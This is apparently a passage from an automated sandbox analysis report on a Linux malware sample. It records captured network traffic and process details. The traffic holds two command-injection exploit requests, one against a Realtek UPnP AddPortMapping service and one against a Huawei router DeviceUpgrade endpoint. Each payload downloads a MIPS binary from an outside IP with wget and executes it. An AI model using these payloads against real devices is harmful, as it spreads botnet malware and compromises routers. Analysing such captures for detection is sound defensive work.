                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      194192.168.2.156050441.34.246.337215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:32.238131046 CET834OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      System Behavior

                                                      General

                                                      Start time (UTC):15:25:56
                                                      Start date (UTC):13/03/2024
                                                      Path:/tmp/na.elf
                                                      Arguments:/tmp/na.elf
                                                      File size:35412 bytes
                                                      MD5 hash:5452f854ac98c5d8d836f317e99b7ad2

                                                      Chronological Activities


                                                      General

                                                      Start time (UTC):15:25:56
                                                      Start date (UTC):13/03/2024
                                                      Path:/tmp/na.elf
                                                      Arguments:-
                                                      File size:35412 bytes
                                                      MD5 hash:5452f854ac98c5d8d836f317e99b7ad2

                                                      Chronological Activities


                                                      General

                                                      Start time (UTC):15:25:56
                                                      Start date (UTC):13/03/2024
                                                      Path:/tmp/na.elf
                                                      Arguments:-
                                                      File size:35412 bytes
                                                      MD5 hash:5452f854ac98c5d8d836f317e99b7ad2

                                                      Chronological Activities


                                                      General

                                                      Start time (UTC):15:25:56
                                                      Start date (UTC):13/03/2024
                                                      Path:/tmp/na.elf
                                                      Arguments:-
                                                      File size:35412 bytes
                                                      MD5 hash:5452f854ac98c5d8d836f317e99b7ad2

                                                      General

                                                      Start time (UTC):15:25:56
                                                      Start date (UTC):13/03/2024
                                                      Path:/tmp/na.elf
                                                      Arguments:-
                                                      File size:35412 bytes
                                                      MD5 hash:5452f854ac98c5d8d836f317e99b7ad2

                                                      General

                                                      Start time (UTC):15:25:56
                                                      Start date (UTC):13/03/2024
                                                      Path:/tmp/na.elf
                                                      Arguments:-
                                                      File size:35412 bytes
                                                      MD5 hash:5452f854ac98c5d8d836f317e99b7ad2

                                                      General

                                                      Start time (UTC):15:25:56
                                                      Start date (UTC):13/03/2024
                                                      Path:/tmp/na.elf
                                                      Arguments:-
                                                      File size:35412 bytes
                                                      MD5 hash:5452f854ac98c5d8d836f317e99b7ad2